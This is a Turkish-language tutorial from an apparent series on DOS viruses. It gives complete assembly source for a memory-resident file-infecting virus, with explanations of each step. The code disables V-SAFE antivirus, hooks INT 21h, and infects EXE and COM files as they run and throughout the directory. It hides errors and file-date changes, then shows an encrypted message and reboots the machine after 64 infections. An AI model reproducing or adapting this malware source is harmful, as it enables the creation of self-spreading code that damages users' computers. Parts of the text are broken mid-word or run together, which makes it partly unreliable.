Virüsler
::::::ANA SAYFA::::::
Program Virüsleri
nonTSR Virüsler
Lea Si,[Bp+Offset Orjinal]
Lea Dx,[Bp+Offset DTA]
|
Ofset |
Uzunluk | Açıklama |
| 0h | 21 byte | DOS'a ayrılmış durumda |
| 15h | Byte | Dosya özniteliği |
| 16h | Word | Dosyanın son değişiklik saati |
| 18h | Word | Dosyanın son değişiklik tarihi |
| 1Ah | DWord | Dosya boyutu |
| 1Eh | 13 byte | Dosya Adı (ASCIIZ - Yani Dosya adı + Chr(0) |
Mov Ah,4eh
Mov Ax,3d02h
Mov Ah,3fh
Mov Ax,Word Ptr [Bp+DTA+26]
Sub Ax,3
Mov Ax,4202h
Mov Ah,4fh
DosyaTipi Db "*.com",0
Interrupt Adresinin Değiştirilmesi
Bu yol için kullanılan 2 yol vardır. Yeni Interrupt Handler rutinini set etmeden önce asılmak istenen interrupta yapılabilecek tüm çağrılar engellenmelidir (CLI/STI komutlarıyla.) 1. DOS'U KULLANMAK Bir interrupt adresini değiştirmek için DOS Servis interruptının (Int 21h) 35h ve 25h nolu fonksiyonları kullanılabilir.Bu fonksiyonların kullanımı aşağıdaki şekildedir; Ah=35h Al=Adresi öğrenilecek INT noVİRÜS İÇİN GEREKLİ HAFIZANIN AYIRMASI
Burası biraz zor anlaşılabilir.O yüzden madde madde yazıyorum 1. DOS hafızayı kontrol etmek için MCB (Master Control Block - Ana kontrol bloğu) denen yapılar oluşturur.|
Ofset |
Uzunluk | Açıklama |
| 0 | 1 Byte | M veya Z. Eğer M varsa o MCB'den sonra başka MCB(ler) daha vardır. Eğer Z ise bu MCB en son MCB'tur. |
| 1 | 1 Word | İşlem ID'si (MCB bloğu sahibinin PSP'si, Burada 0 değeri varsa o MCB boştur.Eğer 8 varsa sahip DOS'tur.) |
| 3 | 1 Word | Paragraf olarak boyut |
| 5 | 3 Byte | Ayrılmış durumda |
| 8 | 8 Byte | Bu alan DOS 4 ve sonrası sürümlerde kullanılıyor |
|
MCB - 1 |
MCB - 1'in yönettiği hafıza alanı | MCB - 2 | MCB - 2'nin yönettiği hafıza alanı |
|
Ofset |
Uzunluk | Açıklama |
| 00 | 2 | Buradaki 2 bayt INT 20h (CD 20) komutunu gösterir |
| 02 | 2 | Belleğin en üst noktası buradan okunur - Genelde A000'dır |
| 04 | 1 | Bu bayt ayrılmıştır |
| 05 | 5 | Bu alan CP/M için ayrılmıştır |
| 0A | 4 | Int 22h handler adresi |
| 0E | 4 | CTRL-C (Int 23h) adresi |
| 12 | 4 | Kritik hata (Int 24h) adresi |
| 16 | 2 | Ana programın segmenti |
| 18 | 14 | Handle table |
| 2C | 2 | Ortam segmenti |
| 2E | 4 | Kullanıcının ayarladığı stack adresi |
| 32 | 2 | File handle count |
| 34 | 4 | Handle table address |
| 38 | 1C | Ayrılmış |
| 50 | 3 | Int 21h+RET |
| 53 | 9 | Ayrılmış |
| 5C | 10 | FCB1 - Dosya kontrol bloğu |
| 6C | 10 | FCB2 - " " " |
| 7C | 4 | Ayrılmış |
| 80 | 1 | Komut satırı uzunluğu |
| 81 | 7F | Geçerli DTA (DTA'nın ilk 21 baytı komut satırı olarak ayrılmıştır) |
Virüsler - 2
Program Virüsleri : TSR Virüsler
Sıra geldi TSR virüsleri incelemeye.1.ci bölümde TSR virüslerin 2 temel bölümden oluştuklarını görmüştük. Bu bölümlerin ilki virüsün ayarlarını yapıp TSR olacak olan Interrupt rutinini yükleyecek kısım, 2.ci bölüm ise virüsün en önemli kısmı olan Interrupt handler rutiniydi.Örnek koda geçmeden önce DOS'un EXE dosyala
rda kullanılan MZ başlığını biraz inceleyelim.DOS Executable programların yapısı şöyledir;
|
EXE Program tanıtıcısı (MZ veya ZM) |
1 word |
|
Belleğe yüklenecek kısmın tam kullanılmayan sektördeki kısmındaki bayt adeti |
1 word |
|
Belleğe yüklenecek kısmın disk üzerinde kapladığı tam sektör sayısı |
1 word |
|
Geçiş için gerekli segment adres sayısı |
1 word |
|
EXE Başlığı oluşturan paragraf sayısı |
1 word |
|
Programın çalışması için gerekli minimum paragraf sayısı |
1 word |
|
Programın çalışması için gerekli maksimum paragraf sayısı |
1 word |
|
Stack Segment |
1 word |
|
Stack Pointer |
1 word |
|
EXE dosyanın toplam kontrolü (Checksum) - Genelde 0'dır. |
1 word |
|
Instruction Pointer - Komut Göstergeci |
1 word |
|
Code Segment - Kod Segmenti |
1 word |
|
EXE dosyadaki Relocation Table konumu |
1 word |
|
Programdaki Overlay sayısı |
1 word |
|
---Relocation table--- |
??? |
EXE Header'ın hemen arkasından varsa relocation table denen tablo yer alır.Relocation table'da yer alan her word EXE dosya içinde CS tabanlı segment adreslerini düzenlemek amacıyla kullanılır.Yani relocation table'da yer alınan her word okunur ve EXE dosyanın yerleşimine göre bu wordlerin isabet ettiği adreslerdeki worde CS'nin o anki değeri eklenir.Relocation table derleyici tarafından ayarlandığı
için programcıyı pek fazla ilgilendirmez..Bu tablodaki bilgilerin en çok kullanılan bilgilerini biraz açıklamak istiyorum.
2 ve 3.cü wordler:
Bu wordler EXE dosyanın ne kadarlık bir bölümünün belleğe yüklenmesinin programın çalışması için yeterli olduğunu DOS'a bildirir.Belleğe yüklenecek kısım (3.cü word x 512)+2.word formülü ile kolayca hesaplanır.Bunlardan en önemlisi ve en çok gerekli olan, programın EXE dosya içinde nereden başladığıdır.Burada bilinmesi gereken önemli bir kavram olan paragraf kavramını şöyle açıklayabiliriz; 1 Paragraf tam olarak 16 byte'a eşittir.Bellek içindeki yerleşim de paragraf esasındadır.Bu yüzden de 0000:0010 (hex) ile 0001:0000 (hex) aynı noktayı işaret eder.Buna göre CS:IP kullanılarak kod adresi hesaplanması şöyle yapılır:
Kod Başlangıcı (Programa giriş noktası) = (CS + EXE Dosyadaki Paragraf adeti)x16 + IP
Şimdi de örnek virüs kodunu incelelim:
Model Tiny
.Code
Org 100h
Main Proc Near
db 0e9h,0,0
Tsr Label Word
Prog: Push Es Ds Es
Mov Ax,0fa02h
Mov Dx,5945h
Xor Bx,Bx
Int 16h
Bu kısımda V-SAFE devre dışı bırakılıyor.Böylece virüs kodu çalışırken V-SAFE'in kullanıcıyı uyarması engellenmiş olu
yor. Call Alt
Buradan Equ $-Tsr
Alt: Pop Bp
Sub Bp,Buradan
Yukarıdaki bölümdeki kod virüsün dosya içindeki konumunu tespit etmek için kullanılıyor.CALL komutu yapısı gereği istenen çağrıyı yapmadan önce kendinden bir sonraki komutun ofset adresini stack'a atarark istenen adrese bir JMP olayı gerçekleştirir.Bu sayede CALL komutundan RET (veya RETF) ile dönüş mümkün olabilir.RET komutu stacka en son sürülen wordu alır ve bu adrese
JMP yapar.Buradan EQU $-TSR olarak görülen satırı açıklamadan önce XXX LABEL WORD/BYTE, EQU ve $ olaylarını anlatmak istiyorum.LABEL WORD veya LABEL BYTE deyimleri bulundukları satırın ofset adresini byte veay word olarak veren bir deyimdir.Bu kod derlendikten sonra COM dosya içinde görünmez.EQU ise bildiğimiz = işaretigibi birşeydir ancak assembly da = işareti ile belirtilen eşitliklere sonradan birşey atanamaz.Yani sabittirler.EQU ile yapılan eşitlikler kod içinde istenildiği zaman değiştirilebilir.$ se
mbolu o satirin ofset adresini verir.meselamov ax,1234h
org $-1
db 00h
komutları derleyici tarafından mov ax,1200h olarak derlenecektir.Buna göre xxx EQU $-TSR satırı xxx'in değerini LABEL WORD ile belirtilen yere göre ofsetini elde etmeyi sağlar.Bp registerinde de virüsün program içindeki ofseti olacağından [Bp+xxx] şeklinde virüs kodu içindeki herhangi bir yere ulaşılabilir.
Pop Ax
Add Ax,10h
Add Cs:[bp+DonSeg],Ax
Add Cs:[bp+SSeg],Ax
Mov Ax,Word Ptr Cs:[Bp+Ilk3]
Push Ax
Bu bölümde stackte tuttuğumuz ES(=PSP) değerini Ax yazmacına çekiyoruz.Bu sayede virüsün işini bitirdiği anda orjinal programı çalıştırırken ayarlanması gerekn stack segment ve stack pointer değerlerini ayarlıyoruz.
Mov Ax,1996h
Int 21h
Cmp Ax,6991h
jnz TsrOl
Virüs daha önce TSR olduğunu anlamak için yukarıdaki bölümü kullanıyor.Virüs Ax=1996 koyup Int 21'i çağırıyor.Ax yazmacında dönen değer 6991 ise virüs önceden TSR olmuş demektir.Bu durumda hiçbirşey yapmaya gerek yoktur, program çalıştırılabilir.
Jmp Calistir
TsrOl: Push Es
Pop Ax
dec ax
Push Ax
Pop Es
sub word ptr es:[3],(ToplamBoy+16)/16
inc ax
add ax,word ptr es:[3]
Mov word ptr ds:[2],ax
Push Ax
push cs
pop ds
Mov ax,3521h
int 21h
Mov [bp+kesim],bx
Mov [bp+kesim+2],es
pop es
Push Bp
Pop Si
xor di,di
Mov cx,ProgBoy
rep Movsb
push es
pop ds
Mov dx,TsrKisim
Mov ax,2521h
int 21h
Mov Word Ptr ds:Sayac,0
Biraz uzun ama neyse.. yukarıda bellekten gerektiği kadar yer ayırdık ve ayırdığımız alana virüsü kopyaladık.Daha sonra INT 21 adresini öğrenip virüsün INT 21h handler rutinini set ettik....
Calistir:
push cs cs
pop es ds ax
Cmp Ax,'ZM'
jz Exedon
Bu kısımda daha önce TSR olan virüsün orjinal programı çalıştırmak için EXE veya COM olmasını test ediyor.
Mov Si,Bp
Add Si,ilk3
Mov di,100h
MovSb
MovSb
Movsb
pop es ds es
Mov ax,100h
push ax
Call Yazmac
ret
Program eğer COM tipi ise bulaşma sırasından saklanan ilk 3 baytın geri yazmamız gereklidir.Bu işlemden sonra virüsün başında sakladığımız ES DS ES değerlerini geri almamız ve sonrasında 100h adresine geri dönüş yapmamız gerekiyor. Dönüşten önce genel yazmaçların temizlenmesi orjinal programı çalıştırılacak programların sorun çıkarmaması için önemli olduğundan genel yazmaçlar 0'lanıyor.100h değeri stack'e sürülüyor ve RET komutu ile akışın 100h adresinden devam etmesi sağlanıyor.
exedon: Pop Ds Es
Cli
Db 0b8h
SSeg equ $-Tsr
dw ?
Mov SS,Ax
Db 0b8h
SOfs equ $-tsr
dw ?
Mov SP,Ax
Sti
Call Yazmac
db 0eah
DonOfs Equ $-Tsr
dw ?
DonSeg Equ $-tsr
dw ?
Yukarıdaki kod karmaşık gelebilir.Bu bölümde SS:SP değerini ayarlamak için öncelikle CLI komutuyla interrupt çağırımını kapamamız gerekiyor.Çünkü Int 09, Int 1C gibi interruptlara takılan TSR programlar başka interruptları çağırıyor olabilir.Bu olayın sonucunda SS:SP değeri değişecektir.SS:SP ayarlandıktan
sonra EAxxxx:yyyy komutu ile (bu komut FAR JMP) komutuna karşılık gelmektedir.Yani EA ....:.... ile JMP 3456:1000 gibi bir komut ifade ediliyor.Turbo assembler böyle bir komutu desteklemediği için bu olayı DB 0EAh ile yapmak gerekiyor.Sonuçta çalışmayı orjinal programa devrediyoruz.Yazmac: Xor Ax,Ax
Xor Bx,Bx
Xor Cx,Cx
Xor Dx,Dx
Xor Si,Si
Xor Di,Di
Ret
TsrKisim Equ $-Tsr
Pushf
Cmp Ax,1996h
jnz KDeg
popf
Mov ax,6991h
iret
İşte TSR kısım.Yani virüsün can damarı.Burada öncelikle çağırılan servisin, virüsün hafızada olduğunu anlamak için kullandığı önceden tasarlağımız servisin çağırılıp çağırılmadığı kontrol ediyoruz.
KDeg: Cmp ax,4b00h
jz Evet
Jmp Calis
Eğer çağırılan 4b00 servisi ise (programı yükle ve çalıştır) virüs bu programa bulaşabilir.Diğer bir fonksiyon çağırılmışsa akış INT 21h orjinal adresine yönlendirilir.
Evet: Push Ax Bx Cx Dx Si Di Ds Es Ds Dx Es
Mov Ax,3524h
Int 21h
Mov Word ptr cs:[Int24],Bx
Mov Word Ptr cs:[Int24],Es
Pop Es
Push Cs
Pop Ds
Mov ax,2524h
Mov Dx,YeniInt24
Int 21h
Eğer bir program çalıştırılmak isteniyosa bu programa bulaşmadan önce yazmaçlara girilmiş tüm değerleri saklamalıyız ve hemen ardından INT 24h (Hata üretici) interruptı devre dışı bırakmalıyız.Böylece oluşabilecek herhangi bir hata kullanıcıya iletilmeyecektir.
Pop Dx Ds
Mov Ax,4301h
Mov Cx,20h
Int 21h
Bulaşma işlemine başlamadan önce mümkün olabilecek hataları en aza indirgememiz gerekir.Bu yüzden dosyanın attribute değerini archive olarak değiştiriyoruz.
Call Exe_Kontrol
Call EXE_Ara
Lds Dx,dword ptr cs:[Int24]
Mov Ax,2524h
Int 21h
Artık dosyayı kontrol edip bulaşabiliriz.Dosyaya bulaştıktan sonra da aktif dizindeki EXE dosyalara bulaşmak için dosya aramaya başlayabiliriz.Böylece virüsün çok hızlı yayılmasını sağlamış oluruz.İşimiz bitince Int 24'ü tekrar devreye sokmamız gerekir.Eğer bunu devre dışı bırakırsak virüsten kaynaklanmayan DOS sorunlarında da hata görüntülenmez.Bu da virüsün yakalanmasını kolaylaştırır.
Cmp Word Ptr cs:Sayac,64h
ja Ninja
Jmp _Ninja
Ninja: Xor Bx,Bx
N_dongu:Cmp Bx,264
je Ninja_
Mov Dl,Byte Ptr Cs:[Oneri+Bx]
Xor Dl,96h
Mov Ah,02
Int 21h
Inc Bx
Jmp N_Dongu
Ninja_: Xor Ax,Ax
Int 16h
Db 0eah,0,0,0ffh,0ffh
Virüs, TSR hale geldikten sonra 64 dosyaya bulaşmışsa ekrana bir mesaj yazarak kullanıcının bir tuşa basmasını bekliyor ve hemen ardından db
0eah,0,0,0ffh,0ffh komutu ile (JMP FFFF:0000) sistemi resetliyor._Ninja: Pop Es Ds Di Si Dx Cx Bx Ax
Calis: Popf
db 0eah
Kesim equ $-Tsr
dd ?
Eğer daha sayaç 64'ü göstermiyorsa yazmaçlar düzeltilir.Artık virüsün işi bitmiştir.Virüs dosyayı çalıştırması için DOS'a bırakacaktır.
Exe_Ara:Push Cs CS
Pop Ds
Mov Ah,2fh
Int 21h
Mov word Ptr cs:[EskiDTA],Bx
Mov Word Ptr cs:[EskiDTA+2],Es
Pop Es
Mov Dx,YeniDTA
Mov Ah,1ah
Int 21h
EXE Araştırma rutininde öncelikle DTA adresinin kaydedilip yeni bir DTA tanımlamamız gerekiyor.(DTA=Disk Transfer Area).Bu DTA alanını dosya aramak için kullanacağız.
Mov Dx,FTipi
Mov Cx,25h
Mov Ah,4eh
Int 21h
jb DosyaBitti
Jmp Kontrol_ett
Tekrar_Ara:
Mov Ah,4fh
Int 21h
jb DosyaBitti
Kontrol_Ett:
Mov Dx,DosyaAd
Call EXE_Kontrol
Jmp Tekrar_Ara
Bu bölümde aramak istediğimiz dosya özelliklerini DOS'a verip bize bu özelliklerdeki (*.EXE adlında ve Arşiv+Hidden+ReadOnly) dosyaların adlarını vermesini istiyoruz.Eğer EXE tipi dosya bulunmuşsa EXE dosyaya daha önce bulaşılıp bulaşılmadığını kontrol etmemiz gerekli.Dosya yoksa veya kalmamışsa işimiz bitmiş demektir.
DosyaBitti:
Lds Dx,dWord Ptr cs:[EskiDTA]
Mov Ah,1ah
Int 21h
Ret
Aradık, taradık bütün EXE'ler bitti ise eski DTA'nın aktifleşme zamanı gelmiş demektir.
Exe_Kontrol:
Mov Ax,3d02h
Int 21h
jnb Hatayok
jmp Acamadi
hatayok:Mov bx,ax
Push Cs Cs
Pop Ds Es
Mov dx,baslik
Mov ah,3fh
Mov cx,28
int 21h
Cmp word ptr ds:[Baslik],'ZM'
jz Exe
Cmp word ptr ds:[Baslik],'MZ'
jz Exe
jmp com
Yukarıda virüs, bulduğu dosyayı okuma/yazma modunda açtıve EXE Header'ı okudu.Başlığın ilk 2 baytına bakarak dosyanın EXE olup olmadığına karar verdi.(EXE dosyaların başında
MZ veya ZM harfleri bulunur)exe: Mov Ax,ds:[StkSeg]
Mov ds:[SSeg],Ax
Mov Ax,ds:[StkOfs]
Mov ds:[SOfs],Ax
Mov Ax,Word ptr ds:[CodOfs]
Mov Word ptr ds:[DonOfs],Ax
Mov Ax,Word Ptr ds:[CodSeg]
Mov Word ptr ds:[DonSeg],Ax
Cmp Word Ptr ds:[Exe_Top],1996h
jnz Bulasiver
Jmp KapatveCalis
Burada virüsün bulaşacağı programın SS,SP,CS ve IP değerleri saklanıyor.EXE checksum alanının 1996h olup olmadığına bakarak daha önce bulaşılmış olması durumuna bakıyor.Dosya temiz ise bulaşma olayına giriyor.
Bulasiver:
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4202h
Int 21h
Mov Cx,16
Div Cx
Sub Ax,Word ptr ds:[Parag]
Mov Word Ptr ds:[StkSeg],Ax
Mov Word Ptr ds:[CodSeg],Ax
Mov Word Ptr ds:[CodOfs],dx
Add Dx,ToplamBoy
Mov Word Ptr ds:[StkOfs],Dx
Mov Si,Baslik
Mov Di,Ilk3
Mov Cx,3
Rep Movsb
Xor Dx,Dx
Mov Cx,ProgBoy
Mov Ah,40h
Int 21h
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4202h
Int 21h
Mov Cx,512
Div Cx
Or Dx,Dx
Jz GYok
Inc Ax
Gyok: Mov Word Ptr ds:[Boyl],Ax
Mov Word Ptr ds:[Boyh],Dx
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4200h
Int 21h
Mov Word Ptr ds:[Exe_Top],1996h
Mov Dx,Baslik
Mov Cx,28
Mov Ah,40h
Int 21h
Add Word Ptr cs:Sayac,1
Jmp KapatveCalis
Yukarıdaki kodda yeni EXE header hesaplanıyor.Dosya sonuna virüs kendisini ekliyor ve hesapladığı EXE header'ı yerine koyarak programın virüslü olarak çalışabilecek duruma getiriyor.Sayacı da 1 arttırıp dosyayı kapatıyor.
com: Cmp Byte Ptr cs:[Baslik],0e9h
jnz YapYapacagini
Jmp KapatveCalis
COM uzantılı dosyalarda ise virüs ilk baytın 0e9h olmasına göre bulaşıyor.0E9h olan COM dosyalara hiç bulaşmıyor
YapYapacagini:
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4200h
Int 21h
Mov Ah,3fh
Mov Dx,Ilk3
Mov Cx,3
Int 21h
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4202h
Int 21h
Cmp Ax,51200
ja KapatveCalis
Cmp Ax,10240
jb KapatveCalis
Sub Ax,3
Mov Word Ptr ds:[ComAdr],Ax
Xor Dx,Dx
Mov Ah,40h
Mov Cx,ProgBoy
Int 21h
Xor Cx,Cx
Xor Dx,Dx
Mov Ax,4200h
Int 21h
Mov Dx,YeniCom
Mov Ah,40h
Mov Cx,3
Int 21h
Yukarıdaki kısımda virüs COM dosya boyunun 10240-51200 bayt arasında olup olmadığını kontrol ediyor bu sınır dışındaki COM dosyalara bulaşmıyor.Eğer dosya uygun boyda ise dosya sonuna kendini ekleyip dosyanın başına da eklediği kendi kodunun çalıştırılmasını sağlayacak olan 3 baytlık JMP komutu yerleştiriyor.
KapatveCalis:
Mov Ax,5700h
Int 21h
Mov Ax,5701h
Int 21h
mov ah,3eh
int 21h
Virüs son olarak da yaptığı işlemlerden ötürü dosya tarihi ve saatinin değişmesini engelliyor.Dosyayı kapatıp geri dönüyor.
Acamadi:Ret Oneri Equ $-Tsr Db 0C5h,0FFh,0E5h,0E2h,0F3h,0FBh,0F2h,0F3h,0B6h,0E0h,0FFh,0E4h,017h,0E5h,0B6h Db 0EFh,0F7h,0FDh,0F7h,0FAh,0F7h,0F8h,0FBh,0F7h,0E5h,01Bh,0B6h,0F2h,0E3h,0E4h Db 0E3h,0FBh,0E3h,0F8h,0F2h,0F7h,0B6h,0EFh,0F7h,0E6h,01Bh,0FAh,0F7h,0F5h,0F7h Db 0FDh,0FAh,0F7h,0E4h,0ACh,09Ch,09Bh,09Ch,09Bh,0A7h,0BBh,0B6h,0C5h,0FFh,0E5h db 0E2h,0F3h,0FBh,0FFh,0B6h,0E2h,0F3h,0FBh,0FFh,0ECh,0B6h,0F4h,0FFh,0E4h,0B6h Db 0F2h,0FFh,0E5h,0FDh,0F3h,0E2h,0E2h,0F3h,0B6h,0E5h,0F7h,0FDh,0FAh,0F7h,0F8h Db 0FBh,01Bh,009h,0B6h,0F7h,0F8h,0E2h,0FFh,0E0h,0FFh,0E4h,017h,0E5h,0B6h,0FFh Db 0FAh,0F3h,0B6h,0F7h,011h,09Ch,09Bh,0A4h,0BBh,0B6h,0DEh,0F7h,0E4h,0F2h,0B6h Db 0F2h,0FFh,0E5h,0FDh,0FFh,0B6h,0DEh,0F3h,0E3h,0E4h,0FFh,0E5h,0E2h,0FFh,0F5h Db 0B6h,0E2h,0F7h,0E4h,0F7h,0EFh,01Bh,0F5h,01Bh,0B6h,0FFh,0FAh,0F3h,0B6h,0E2h Db 0F7h,0E4h,0F7h,09Ch,09Bh,0A5h,0BBh,0B6h,0C2h,0F3h,0FBh,0FFh,0ECh,0FAh,0F3h Db 0EFh,0F3h,0FBh,0F3h,0F2h,0FFh,0B6h,0FBh,0FFh,0B6h,0A9h,0B6h,0D9h,0B6h,0ECh Db 0F7h,0FBh,0F7h,0F8h,0B6h,0F4h,0FFh,0E4h,0B6h,0E5h,0FFh,0F1h,0F7h,0E4h,0F7h Db 0B6h,0EFh,0F7h,0FDh,09Ch,09Bh,09Ch,09Bh,0A2h,0BBh,0B6h,016h,0F9h,0FDh,0B6h db 0FDh,01Bh,0ECh,0F2h,01Bh,0EFh,0E5h,0F7h,0F8h,0B6h,0FDh,01Bh,0ECh,0F7h,0F8h db 0B6h,0EFh,0F3h,0E4h,0FFh,0F8h,0F3h,0B6h,0F4h,0E3h,0ECh,0B6h,0E5h,0F9h,0FDh db 0B6h,0B7h,09Ch,09Bh,09Ch,09Bh,00Eh,0FBh,0ECh,0F7h,0B6h,0ACh,0B6h,0C5h,0F3h db 0F8h,0F5h,0F3h,0B6h,0FDh,0FFh,0FBh,0B6h,0A9h
Yukarıda şifrelenmiş mesaj duruyor.Şifre açılınca ne yazdığınız söylemesem daha iyi olur...
FTipi Equ $-Tsr
db '*.EXE',0
YeniInt24 Equ $-tsr
Mov al,0
iret
Ilk3 Equ $-Tsr
db 0cdh,20h,0cch
YeniCom Equ $-Tsr
db 0e9h
ComAdr Equ $-Tsr
dw ?
ProgBoy Equ $-Tsr
Int24 Equ $-Tsr
dd ?
Baslik Equ $-Tsr
dw ?
Boyh equ $-Tsr
dw ?
Boyl equ $-Tsr
dw ?,?
Parag equ $-tsr
dw ?,?,?
StkSeg equ $-tsr
dw ?
StkOfs equ $-tsr
dw ?
EXE_Top equ $-tsr
dw ?
CodOfs equ $-tsr
dw ?
CodSeg equ $-tsr
dw ?,?,?
EskiDTA Equ $-Tsr
dd ?
YeniDTA Equ $-Tsr
db 30 dup (?)
DosyaAd Equ $-Tsr
db 13 dup(?)
Sayac Equ $-Tsr
dw ?
ToplamBoy Equ $-Tsr
Main Endp
End Main
Yukarıda da virüsün buffer olarak kullandığı heap alanı yer alıyor.Hepsi bu.Virüslerle ilgili yazım bu aylık bu kadar. Gelecek sayıda Boot/MBR virüslerini incelemeye başlayacağız.